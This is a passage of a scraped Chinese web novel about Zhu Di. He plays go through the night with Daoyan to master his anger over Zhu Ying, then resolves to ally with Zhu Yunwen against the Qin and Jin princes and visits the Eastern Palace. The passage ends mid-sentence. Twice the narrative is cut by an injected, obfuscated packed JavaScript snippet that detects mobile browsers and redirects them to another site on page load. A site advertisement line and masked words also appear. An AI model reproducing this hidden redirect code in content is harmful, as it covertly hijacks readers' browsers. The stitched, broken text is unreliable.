他在书房里踱步脚步一下下踩着。 月光照在他眉峰映出阴影。 “被朱煐赶出府邸”这几个字刺入朱棣心里。 他气得身体发僵当时一言未发维持着体面可胸膛里的气快要炸开。 他回想朱煐的眼神。 那是一种冷漠像在看一个路人。 被无视的感觉让他五脏六腑都在拧。 回到燕王府门一关上朱棣的怒气冲垮了理智。 “砰!” 他抓起书案上的笔洗砸向地面笔洗碎裂。 墨汁溅了一地也溅上他的王袍留下污迹。 书房外 谁也不敢进去。 侍卫巡逻时绕开此地放轻了脚步。 整个王府一片死寂。 只有道衍走了进来。 他是不请自来。 他未让通报站在廊下听着里面器物碎裂的声音。 直到里面只剩喘息声他才迈步而入。 道衍没说话。 他看了一眼地上的碎片又看了一眼胸口起伏、双眼发红的朱棣。 然后他开口邀请: “王爷对弈一局如何?” 棋盘摆开黑白二子分置罐中。 棋盘是京城棋子是各方势力。 朱棣正有火无处发泄便坐下抓起一把黑子拍在棋罐里。 两人摆开阵势。 啪。 啪。 啪。 落子声在夜里响起。 落子时快时慢如同战场交锋。 平日对弈道衍棋力不及朱棣输多赢少。他擅长复盘推演不擅临阵搏杀。 可今日道衍的棋路变了。 每一手都像**刺 在朱棣想不到的地方,割裂阵型,破坏气眼。 昨夜,朱棣连输几局。 第一局,他带着怒气进攻,却处处受制,到中盘被道衍绞杀大龙,输了半壁江山。 第二局,他急于复仇,杀气更重,却漏洞百出。三十余手后,已见败象。 第三局,他全军覆没。 两人从深夜下到天明。 书房烛火换了几茬,烛泪堆积。 窗外天色由黑转白,染上晨曦。 夜过去了。 朱棣一直在输。 他输得眼睛发红,嘴唇紧抿。 他不断输,复盘,再开一局。 他一直输,直到后半夜。 窗外天色发白,棋局有了变化。 朱棣开始赢。 他的心境,在这场与自己的搏杀中沉淀下来。 他拈起棋子的手很稳。 落子也不再急。 啪。 一枚白子落下。 棋盘上,一条黑龙被截断,首尾不能相顾,气眼被封死。大势已去,没有翻盘的可能。 朱棣又赢了。 他手指从棋子上挪开,指尖还留有凉意。 他舒了一口气,带出了胸中的郁结。 窗外的天光已亮。 太阳升起,光线穿过窗棂,在棋盘上投下光影。 朱棣站起身,骨节发出一串声响。他舒展臂膀,沐浴在晨光之中。 他一夜未眠,双眼布满血丝,但眼神已恢复清明。 精神很好。 “不下了。” 朱棣开口,声音因整夜未饮水而沙哑,但每个字都很沉稳。 对坐的道衍和尚闻言,放下了指间的黑子。 他抬起头,脸上带着笑,看着朱棣。 “燕王可好些了?” 他的目光仿佛能看透人心。 “哈哈哈。” 朱棣的笑声在房间内回荡。 “昨天是本王失态了。” 他承认。 “不过,若是这点事本王都调整不回来,那本王也就不是朱棣了。” 他走到窗前,双手负后,站直了脊梁。他的目光越过庭院,望向远方,眼中有光。 昨夜 的事,似乎过去了。 这时,朱棣的视线落在桌案一角。 那里躺着一封信。 信封边缘带着湿气,是黎明时分送抵的。 这信,昨夜就在了。 信送进房间时,朱棣情绪不稳。心腹放下信,便退了出去。 朱棣瞥见了,没动。 道衍也看见了,没提。 两人有默契。 他们都清楚一个道理:被情绪影响时做的决定,不会是最好的决定,甚至可能是错的。 无论信中是何消息。 以朱棣当时的心态去拆阅,只会让局势更糟。 不如搁置。 一夜对弈,是镇定剂。 如今,棋局结束,心境已平。 朱棣走回桌案,顺手拿起那封信。 没有迟疑,指尖一挑,火漆裂开。 他抽出信纸,目光扫过。 房间里很静,只有信纸展开的声音。 朱棣的表情没有变化。看完后,他将信纸递给对面的道衍。 “是老三入京了。 他的语气平淡,像在说一件寻常事。 道衍接过信。 纸上还带着朱棣指尖的温度。 他的目光在信纸上扫过,信上的内容,在他眼中未激起波澜。 “拖了这么久,总算是入京了。 道衍将信纸放在案上,手指在上面点了点。 随即,他抬眼看向朱棣,嘴角微勾。 “怎么?燕王不怕? “这晋王和秦王,可是走得近的很啊。 道衍的声音不响,却切中要害。秦王朱樉,晋王朱棡,是皇帝最年长的两个儿子,一向联手,在藩王中势力最大。如今晋王入京,背后就是秦晋两王。 这对任何想争那个位置的亲王而言,都是一座山。 “本王有什么好怕的? 朱棣闻言,反而笑了。他转过身,重新面向道衍,脸上是自信。 “老二老三联手,不是一天两天了。 “他们想做什么,本王清楚。尽管放马过来就是了。 他的声音不高,却掷地有声,每个字都充满力量。这股力量压过了道衍言语中的试探。 “行了,道衍。” 朱棣走上前,手在道衍的肩膀上拍了拍。 “本王知道你什么意思。” “放心,本王心中有数,自己会调节。” 这一拍,是安抚,也是宣告。 宣告着燕王回来了。 朱棣当然明白。 他明白老二老三的威胁,明白朝堂的暗流,更明白自己昨夜为何失态。 可明白是一回事,控制住是另一回事。 他毕竟是人,是朱元璋的儿子,是从尸山血海里杀出来的藩王。他有骄傲,有愤怒,也有欲望和弱点。 人非圣贤。 他终究是个人,不是一台机器。 也正是这份会愤怒、会失态、却也能靠自己重新站起来的性情,反倒让他更像一个活生生的人。 夜色笼罩燕王府,府内无声。 不多时,朱棣收到一个消息。 探子进来,脚步无声。他躬着身子,头垂得很低,呼吸放轻。 他压低声音,生怕惊扰了书房。 “殿下,秦王与晋王.一同去了中兴侯府。” 探子停顿了一下。 “街上的人回报,二位王爷一路谈笑,看起来很亲近。” 说完,探子把头埋得更低,缩进阴影里,不敢看朱棣。 书房内只剩烛火摇曳。 朱棣的脸在阴影里看不分明。 他虽有预料,但确认的消息传来,心口还是一紧。 他敲击桌案的手指停了。 笃。 最后一声,在室内回响。 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) 朱棡和朱樉。 老三和老二。 他们两个走到了一起,还一同去找了朱煐。 朱棣瞳孔一缩,脑中出现一个身影。 朱煐。 一个书生,父皇亲封的中兴侯。 此人本事了得,手段和布局都让人看不透。 一想到朱煐,朱棣就感到一阵寒意。那是对未知的恐惧。 他想拉拢朱煐。这种人,为友是助力,为敌则后患无穷。 只因自己入京晚了一步,便失去了先机。 时机被朱樉抢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453753|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这,朱棣胸口发堵,发痛。 他扼腕,想揪住朱樉的领子,问他运气为何这么好。 那个老二从小就不干好事。 他抢了先机,还在中兴侯面前诋毁我。 朱棣能想见朱樉如何颠倒黑白,把自己说成是觊觎皇位的乱臣贼子。 结果,中兴侯现在误会自己是**分子。 **分子! 这两个字烙在他心上。 冤枉! “**? 朱棣胸膛起伏,低吼出声。 “我朱棣会**? 他的声音透出荒谬。 “中兴侯也太小看我朱棣了! 砰! 他一拳砸在案几上。茶杯跳起,摔落在地。 碎片溅开,在烛火下闪着光。 手上的痛,比不上心里的憋屈和冤枉。 朱棣心里头委屈得发疯,那种感觉,像是有无数只蚂蚁在啃噬他的五脏六腑,又痒又痛,却无从说起,无处发泄。 这种被人死死按住,泼上一身洗不清的脏水,被最看重的人误解的滋味,比刀剑加身还要难受百倍。 刀剑伤的是皮肉,这误解,诛的是人心! 要说当皇帝,朱棣是想过的。 他扪心自问,自己确实想过。 生在皇家,哪个皇子没有做过九五至尊的梦? 父皇就是打下这片江山的开国皇帝,他们这些儿子,自打懂事起,耳濡目染的便是这天底下最顶级的权势和荣耀。 说自己从未有过一丝一毫的念想,那是自欺欺人。 可想,终究只是想。 那是在夜深人静时,一闪而过的念头,是在看到父皇威加四海时,心头涌起的一丝艳羡。 它是一个梦,一个遥不可及的幻影。 但要说**,将这个梦付诸行动,朱棣是当真从来没有想过。 一次都没有。 这不仅仅是违背人伦纲常,更是彻彻底底地辜负父皇的期望。 更何况. 他脑中浮现出另一张温和的面庞。 大哥,朱标。 且不说大哥那太子的身份,那储君的能力,都稳稳地在自己之上,让人兴不起任何比较之心。 光是那份情谊,就重于泰山。 长兄如父。 这四个字,对朱棣而言,不是一句空话,而是刻在骨子里的记忆。 从小到大,自己惹了多少祸事? 哪一次,不是大哥挡在身前,去父皇那里为自己求情? 他甚至还清晰地记得,有一年自己贪玩纵马,惊了街市,父皇震怒,要动用军法。是大哥跪在殿外,替自己领了那几十记板子。 板子抽在长兄身上的闷响,他至今记忆犹新。 事后,大哥拖着伤痕累累的身体,却依旧对他露出温和的笑容,揉着他的头说:“四郎,下次莫要这般鲁莽了。” 就冲着这份情谊,自己怎么可能去想**的事? 那不仅仅是对不起父皇,更是要戳大哥的心窝子啊! 想起大哥那总是带着暖意的笑容,朱棣的心里一阵翻江倒海般的酸楚,眼眶控制不住地发热。 至于大哥去世之后 这才多久? 两个月。 仅仅两个月的光景。 朱棣至今仍沉浸在兄长骤然离世的巨大悲痛之中,整个人像是被抽走了魂魄,哪里还有半分心思去考虑那些大逆不道的事情? 刚听到朱标去世的噩耗时,他整个人都懵了。 紧接着,老朱的诏书就快马加鞭地送到了北平,召他即刻入京。 然后,就是无休无止的惶惶恐恐,不可终日。 京城的每一寸空气都充满了压抑和审视,父皇的每一个眼神都带着他看不懂的深意。 他压根就没有多余的时间和精力去想**的事儿。 这些时日,他连一个安稳觉都睡不上。 一闭上眼,就是大哥临终前的憔悴模样,是父皇日渐苍老的背影,是这京城诡谲的**风云。 我朱棣,**是真冤枉啊! 这口黑锅,背得实在憋屈! 朱棣大口喘着粗气,胸膛里那股无名火与委屈交织在一起,烧得他理智都快要断裂。 这也是朱棣为什么对朱樉怨念这么深的原因。 这个二哥,从小到大就爱给他使绊子。 一想到朱樉那个蠢货,朱棣胸腔里就有一股无名业火轰然窜起,烧得他五脏六腑都跟着绞痛。 那股子邪火沿着筋骨一路攀上天灵盖,让他 恨不得现在就冲进秦王府揪住那厮的衣领用拳头告诉他花儿为什么这样红。 可这里是应天府。 是天子脚下皇城之内。 他是燕王不是街头打架的泼皮。 这口气只能硬生生咽下去。 牙槽咬得咯咯作响后槽牙几乎要被自己生生咬碎。那股憋闷感堵在心口不上不下几乎要将他整个人都撑爆。 天天把**挂在嘴边! 别人说**都是说自己要反。 可朱樉这个夯货是天天把自家四弟要**挂在嘴边唯恐天下不知唯恐父皇不晓。 这简直是欺人太甚! 更让他血液倒流的是朱棣清楚那个二哥那个脑子里都长满肌肉的直肠子恐怕还真是这么想的! 他不是在构陷不是在玩什么朝堂上的阴谋诡计。 他是真诚地认为他朱棣要反。 这种认知比任何恶毒的构陷都更让朱棣感到无力。 若是故意恶心人大可以针锋相对你来我往在父皇面前辩个是非曲直。可对方是发自内心地“为你好”是“大义灭亲”地去举报是真心实意地去劝诫。 这让他的一切辩驳都显得苍白。 你越是解释对方看你的眼神就越是怜悯仿佛在说:四弟啊你就承认吧不要再执迷不悟了。 你越是愤怒对方就越是笃定仿佛在说:你看被我说中了吧恼羞成怒了。 那种有理说不清浑身是嘴都辩不明的感觉像无数只蚂蚁在啃噬他的骨头又痒又痛却无从下手。 折磨。 极致的折磨。 朱棣的指节因为用力而根根泛白手背上青筋暴起虬结的肌肉微微颤抖压抑着即将喷薄的暴力。 不行。 要冷静。 他命令自己。 胸膛剧烈地起伏了几次每一次吸气都带着灼人的热浪每一次呼出都仿佛要将心底的郁结一同排出。 他缓缓闭上了眼睛。 眼前的血红与怒火渐渐褪去 紧绷的下颚线一点点松弛下来。 外界的声音开始重新钻入他的耳朵。 第104章 敌人的敌人就是朋友 这一刻,他仿佛又回到了漠北战场,那个令北元闻风丧胆的燕王又回来了。 昔日在沙场上策马扬鞭、挥斥方遒的豪情壮志重新涌上心头,那金戈铁马的岁月仿佛就在昨日,战鼓声犹在耳畔回响。 血液中那股久违的杀伐决断再次涌动起来,驱散了连日来的憋闷与迟疑。 这些天在应天府受的窝囊气,在这一刻化作了熊熊燃烧的战意,烧得他浑身发热,眼神都变得凌厉了几分,整个人如同出鞘的利剑。 他的心中已经有了打算。 这个计划虽然冒险,但值得一试。 成则**,败他朱棣从不考虑失败。 在他的字典里,就没有“认输这两个字。 他向来就是个敢把天捅个窟窿的主儿,这点风险又算得了什么?大不了从头再来! 不就是一个稷下学宫吗? 它能做到的,本王未必就做不到。 朱棣骨子里的不服输被彻底激发出来,那股混不吝的劲头又上来了。 凭什么他朱煐就能办成的事,我朱棣就办不成? 论胆识,论谋略,他自认绝不输给任何人。 这口气,他非要争回来不可! 稷下学宫就算是未来大明第一学府,那也只是未来而已。未来的事,谁说得准呢?变数太多了。 他朱棣,就是要成为那个最大的变数! 他倒要看看,到底是谁能笑到最后。 这盘棋,才刚刚开始。胜负还未可知! 未来是未来,现在是现在! 只要没有建成,那一切都还只是空中阁楼。 本王就要在这阁楼建成之前,先拆了它的地基! 他心中发狠,眼神锐利如刀。 既然你朱煐不仁,就休怪我朱棣不义! 这京城的水,本来就该浑一些才好。 搅浑了,才好摸鱼! 你能用一个稷下学宫聚拢商贾之银,我朱棣怎么就不能开个燕王府,抢你学宫的风头? 这个念头一旦生出,就再也遏制不住。 如同野火燎原,瞬间占据了他的全部思绪。 一个模糊的计划轮廓逐渐变得清晰。 对,就这么干!他朱棣什么时候怕过事 ?越是难啃的骨头他越要啃下来! 朱棣心中冷笑。 他已经能看到朱煐吃惊的表情了。 想到那张总是从容淡定的脸上出现惊愕之色他便觉得一阵快意。 这口气他必须要出!不仅要出还要出得漂亮!让所有人都看看他燕王朱棣不是好惹的。得罪他的人都不会有好下场! 倘若只是他一个人朱棣自然没有把握且不说一个人实力不足更重要的是这里是京城不是北平府自己除了身份是燕王之外调动不了太多的资源就凭着自己想要和对方打擂台是远远不够的。 这些现实的因素他必须考虑清楚。 在北平他是一言九鼎的燕王;在京城他不过是诸多藩王之一。 此间的差距犹如云泥。 强龙难压地头蛇啊! 这个道理他比谁都明白。但明白归明白该争的还是要争! 不过朱棣的嘴角勾起一抹意味深长的笑容。 他并非全无胜算。 棋盘上有时候一枚关键的棋子就能扭转整个局势。而他恰好知道该从哪里找到这枚棋子。 这京城之中最不缺的就是想要往上爬的人。 只要找准了人事情就成了一半。 朱棣已经找好了队友。一个强大且合适的队友。一个同样对朱煐心怀不满且急需建立功业以稳固地位的队友。 这样的盟友简直是天赐良机。 只要运作得当未必不能成事。 这步棋他走定了! 没错。就是同样昨日在朱煐府前丢了颜面的朱允炆! 敌人的敌人就是朋友。这句老话永远不会过时。 尤其是在波谲云诡的朝堂之上。 没有永远的朋友只有永远的利益。这一点他深信不疑。 利益一致就是最好的盟友。 朱棣的眼眸中精光闪烁这一刻 一条对抗朱煐、甚至可能影响朝局的路径清晰地展现在眼前。 这不再仅仅是为了出一口恶气更是一场关乎未来格局的博弈。 而他必须要在这场博弈中占据先机。 这关系到他在朝 中的地位,甚至关系到未来的布局。 这一步,必须走好! 倘若自己能够让对方和自己合作 那这盘棋,可就完全不一样了 他从一枚可能被踢出局的棋子,瞬间变成了可以对弈的棋手。 主动权,必须掌握在自己手里! 他朱棣,从来都不是任人拿捏的软柿子。 是时候让那些人看看他的手段了。这京城,也该变变天了! 争储之事在殿试的国本之争后就几乎已经抬到了明面上,几乎就已经到了人尽皆知的地步。 如今京城之中,无人不在议论此事。 茶楼酒肆,私下里都在猜测谁会成为最终的赢家。 这已是一场公开的较量。 各方势力都在暗中布局,等待着最佳的出手时机。 而他,也要在这盘棋中落子了。 朱允炆和朱允熥之争,大明皇储之争。 这不仅是两个皇孙的竞争,更是两股势力的较量。 牵一发而动全身。 任何风吹草动,都可能引发连锁反应。 聪明人都在审时度势,寻找着最适合自己的位置。而他朱棣,也要找个好位置。 朱允炆背后站着的是整个文官集团,而朱允熥背后站着的是蓝玉和淮西一脉。 双方势均力敌,难分高下。 谁都看得出,老爷子还在犹豫。这犹豫,就是机会。 一个可以让他朱棣趁虚而入的机会。 这样的机会,稍纵即逝。必须牢牢抓住! 这已经是朝中人尽皆知的事情。 每日早朝,都能感受到这两派人马之间的暗流涌动。 表面上一团和气,底下却是刀光剑影。 只是维持着微妙的平衡。 而这平衡,正是他可以利用的关键。 只要轻轻一推,局势就会发生变化。而他,就是要做那个推手! 倘若自己能够和朱允炆合作,那就等于获得了整个文官集团的支持. 这个诱惑,实在太大。大到足以让他冒险一试。 文官集团掌握着**、士林清议,这些都是办学宫不可或缺的资源。 有了他们的支持,事情就成功了一半。这笔买卖, 怎么算都不亏。这步棋,走得妙! 这开设学宫,要是什么? 朱棣在心中细细盘算。 不仅仅是银子,那只是第一步。 有了文官的支持,银子或许反而不是最难的问题。 那些清流文人的名声和门生故旧,才是真正的无价之宝。 这些资源,正是他目前最需要的。 有了这些,何愁大事不成? 是老师,是名望高的鸿儒,文人!而这些,不正是文官集团最擅长的吗? 他们掌握着天下清议,把控着学问的诠释权。翰林院、国子监,多少饱学鸿儒都与他们关系匪浅。 这些人脉资源,正是他朱棣最欠缺的。 若能借来一用,何愁大事不成?这一步,走得对! 朱棣的眼中精芒越来越亮.这个计划,似乎比想象中还要可行。 一条清晰的破局之路已然在脑海中成型。 以文制文,借力打力,或可一战! 他仿佛已经看到了朱煐措手不及的模样。 想到那个场面,他就忍不住想要大笑三声。这口恶气,总算是能出了! 很快,朱棣的心腹就将礼物都给朱棣准备好了。 准备都是些珍奇古玩,既不失体面,也不会太过招摇。 分寸拿捏得恰到好处,符合他藩王身份,也显出了对东宫的尊重。 这份礼,既要表达诚意,又不能显得像是在巴结。 其中的尺度,需要精心把握。 好在这些事,他向来都很在行。 朱棣拿着见面礼当即前往东宫。 既然决定要合作,那就要拿出诚意来。姿态要做足。 初次登门,礼数不可废。 这是他作为叔叔和潜在合作者的基本修养。 在这些细节上,他向来都很注意。礼多人不怪,这个道理他懂。 既然决定要和朱煐一方打擂台,让他们知晓知晓自己也不是好欺负的,那朱棣办事就不会磨蹭。 他一向雷厉风行,说做就做。 拖延,是战场和朝堂上的大忌。 战机稍纵即逝。 既然看准了,就要果断出手。 这是他多年来养成的习惯。 也是他能有今日地位的重要原因。 朱棣入宫的时候已然临近中午。 宫门处的守卫见到燕王车驾,纷纷行礼让道。 规矩森严,无人敢怠慢这位威名在外的王爷。 但朱棣能从他们恭敬的眼神深处,看到一丝不易察觉的审视。 这深宫之中,从来就不缺少眼线。 他的一举一动,都在别人的注视之下。 烈日高悬,日上三竿。灼热的阳光洒在琉璃瓦上,反射出耀眼的光芒。 晃得人有些睁不开眼,也为这肃穆的宫城增添了几分焦灼之气。 仿佛预示着即将到来的风波。 连天气都在暗示着今日的不同寻常。 这让他更加坚定了决心。 炙热的阳光烘烤着宫道上的金砖,好在烘烤的时间还不算长,金砖也并未滚烫。朱棣的靴子踏在金砖上,发出沉稳的声响。 一如他此刻的决心,坚定而有力。 既然选择了这条路,就要坚定不移地走下去。开弓没有回头箭。 这一局,他赌定了! 东宫,朱允炆早早地就已经起床读书。 这个年轻的皇孙,向来勤奋好学。 从未有过丝毫懈怠。 他的成功,很大程度上源于这份自律。 在这深宫之中,勤奋往往是最可靠的阶梯。 这一点,他比谁都清楚。也正因如此,他才能在众多皇孙中脱颖而出。 朱允炆的成功也并非偶然,倘若当真不学无术,历史上老朱又怎会将皇位传承到他的身上? 勤奋和自律,是他最大的资本。 也是他母亲吕氏多年精心培养的结果。 这一点,朱棣心知肚明。这对母子的不容易,他都看在眼里。 也正因如此,他才觉得有合作的可能。 在吕氏从小的严格要求下,朱允炆每天都起得很早,起来之后就是温**昨天的功课。 这个习惯,他已经保持了十几年。早已刻入了骨子里,成了他生活的一部分。 有时甚至不需要吕氏督促,他也会自觉完成。这份自觉,在这个年纪实属难得。也难怪老爷子会看重他。 所谓温故而知新,一天之中早上温**昨 天的东西效果是最好的。能让你的记忆印象更深刻 这是吕氏常挂在嘴边的话,也成了朱允炆笃信不疑的准则。 这些年来,他就是靠着这样的勤奋,一步步赢得老爷子的认可。 这份坚持,确实令人佩服。 就连朱棣也不得不承认,这个侄子在读书上是真的下了苦功。 朱允炆手持书卷,在房间中缓缓踱步,口中是朗朗读书声.神情专注,心无旁骛。仿佛外界的一切纷扰都与他无关。 这份定力,在这个年纪实属难得。 若非生在帝王家,或许能成为一个不错的学者。 可惜,身在帝王家,注定了要与权谋相伴。 吕氏也是早早起床的。 天还未亮透,她便已梳洗完毕,端坐在偏殿,手中虽也拿着一卷书,心思却大半放在儿子身上。 耳朵时刻留意着外面的动静。 作为母亲和潜在的“后宫之主”,她不敢有丝毫松懈。 在这深宫之中,一步错,可能满盘皆输。 这个道理,她比谁都懂。 也正因如此,她才能在这深宫中站稳脚跟。 朱允炆读书的时候吕氏大都陪着。 这些年,无论寒暑,几乎从未间断。 她深知在这深宫之中,学问是立身的根本,一刻也懈怠不得。 更是争夺那个位置的重要筹码。 学问、德行、能力,缺一不可。 她必须把儿子培养成最完美无缺的继承人。这是她此生最大的使命。为此,她愿意付出一切。 今天从一大早吕氏陪读一直陪着朱允炆读到了中午。 期间除了用些简单的茶点,几乎没有停歇。 这份坚持,连伺候的宫人都暗自佩服。 都说吕娘娘对皇孙的学业抓得紧,今日一见,果然名不虚传。 这几乎是吕氏的日常。日复一日,年复一年,从未改变过。 为了儿子的前程,她愿意付出一切。这份执着,让人不得不佩服。 这天底下没有绝对的坏人也没有绝对的好人,好坏的区别只是在于评定标准的不同以及所站的角度不同。便如这宫闱之事,恩怨情仇,往往难辨黑白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453754|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成王败寇而已 。 历史从来都是由胜利者书写的。 所以她吕氏必须要做那个胜利者! 为了这个目标她可以不惜一切代价。 这是她的选择也是她的宿命! 站在朱允熥的角度吕氏自然是一个恶人一个大恶人。 她占据了本属于他母亲的位置她的儿子威胁着他嫡子的地位。 这是不死不休的局没有转圜的余地。 既然如此她只能选择做那个最狠的恶人。 对敌人仁慈就是对自己残忍。 这个道理她比谁都明白。 可站在朱允炆的角度吕氏却是一个无私的母亲。 她将所有的心血与期望都倾注在他身上为他谋划为他铺路。 殚精竭虑 她所做的一切都是为了儿子能有一个光明的未来。 哪怕为此背负骂名她也无怨无悔。 这就是一个母亲的执念。为了儿子她愿意与全世界为敌。 吕氏对朱允炆要求严格但同时对自己的要求更加苛刻朱允炆的教育是她亲自抓的。 从蒙学识字到经史子集从礼仪规范到为君之道无一不是她精心安排。不容有失。她要将儿子培养成最合格的继承人。 这是她此生最重要的使命。 为此她愿意付出一切代价。 这份决心从未动摇过。 朱允炆也早就习惯了读书的时候有吕氏陪读。 有母亲在身边他总觉得心安读书也更能沉得下心。这是一种潜移默化的依赖。也是一种无形的掌控。 吕氏通过这种方式牢牢地将儿子掌控在自己的影响范围内。 这份掌控是她安身立命的根本。 也是她最大的倚仗。 不过今天的早读注定和以往不同了。 平静被突如其来的拜访打破。 宫人匆匆的脚步声带来了变数也带来了新的可能性。 这深宫之中从来就不缺少意外。 而这次意外或许会改变很多事情的走向。 是福是祸现在还不好说。 很快就有下人入宫来报朱棣来访。 朱允炆 放下了手里的书,疑惑地看向吕氏。 眼神中带着询问,也有一丝不易察觉的紧张。 燕王叔为何突然来访?是福是祸? 这位手握重兵的王爷,向来与东宫往来不多。 他的突然到访,让人不得不心生警惕。这深宫之中,从来就不缺少算计。 吕氏的脸上也满是困惑。 她微微蹙眉,朱棣与东宫素无深交,此时前来,意欲何为?是敌是友?他的到来,意味着什么? 在这敏感时刻,任何风吹草动都值得警惕。 尤其是这位手握重兵的藩王,更是需要小心应对。稍有不慎,就可能陷入万劫不复的境地。 两人疑惑地互视。 空气中弥漫着一种猜测不安的氛围。 无声地交流着彼此的疑虑。 这一刻,东宫平静的表面下,暗流开始涌动。 仿佛暴风雨前的宁静。 连伺候的宫人都感受到了这不寻常的气氛,一个个屏息凝神,不敢发出半点声响。 整个东宫,都陷入了一种诡异的寂静之中 “娘? 如今的朱允炆还远远不是几年后什么事情都能自己拿主意的建文帝,此刻的朱允炆还是个少年,不过是十来岁的少年。 骤遇此等意料之外的情况,难免有些无措。 本能地寻求母亲的庇护和指引。 他还需要时间来成长和历练。 现在的他,还离不开母亲的扶持。 这一点,他自己也很清楚。 在这深宫之中,他唯一能完全信任的,也只有母亲了。 在迷茫的时候下意识就想要询问吕氏。 这几乎成了他的本能。也是吕氏多年经营的结果。 她成功地成为了儿子最依赖、最信任的人。这种依赖,是她权力的根基。也是她最大的安慰。 有了这份依赖,她所做的一切才有了意义 “你王叔既然来拜访,于情于理都得见一见,先看看。 吕氏沉吟片刻,迅速恢复了镇定。 是福不是祸,是祸躲不过。 无论如何,不能失了礼数和气势。 她倒要看看,这位燕王葫芦里卖的什么药。 在这深宫之中,镇定往往是应对变故最好的武器。 慌乱,只会让对手有机可乘。这个道理,她比谁都懂。 说着吕氏让宫人将朱棣带进来。同时用眼神示意朱允炆稳住心神。 无论面对什么,都要保持皇孙的威仪。 不能让人看了笑话。 尤其是在这些藩王面前,更不能露怯。这关系到东宫的体面,也关系到未来的格局。 这一点,必须时刻谨记。 很快,朱棣就入了东宫。 他步履沉稳,脸上带着恰到好处的笑容,既不显得过于热络,也不让人觉得疏离。分寸拿捏得极好,显示出他丰富的阅历和城府。 这位久经沙场的王爷,显然深谙人情世故。 知道什么时候该进,什么时候该退。这份从容,是多年历练的结果。 吕氏和朱允炆都没有说话,只是看着朱棣。都在暗自揣度他的来意。 心中快速盘算着各种可能性。 这位王爷的到访,绝不仅仅是礼节性的。 必然有所图谋。而且这图谋,恐怕不小。 否则不会选在这个敏感时刻登门。 这让他们不得不打起十二分的精神来应对。 朱棣笑呵呵地走到了这母子面前。 目光在吕氏和朱允炆脸上扫过,将两人的细微表情尽收眼底。 心中已然有了初步判断。 这对母子,谨慎中带着试探,正是他可以利用的心态。看来,事情有戏。这一趟,没有白来。这步棋,走对了! “大嫂,允炆,这大早上的打扰了。” 朱棣拱手一礼,姿态放得颇低。 他给足了这对母子面子。 想要合作,就得先放下身段。这点道理,他朱棣还是懂的。 在这些细节上,他向来都很注意。礼数周全,总不会有错。 朱棣上前客气了两句。言语间透着对兄嫂的尊敬。 礼数周全,让人挑不出错处。这是他作为弟弟和臣子的本分,至少在表面上是如此。至于心里怎么想,那就是另一回事了。 在这深宫之中,表面功夫往往比真心实意更重要。这个道理,他们都懂。 “王叔说的哪里话?王叔入京多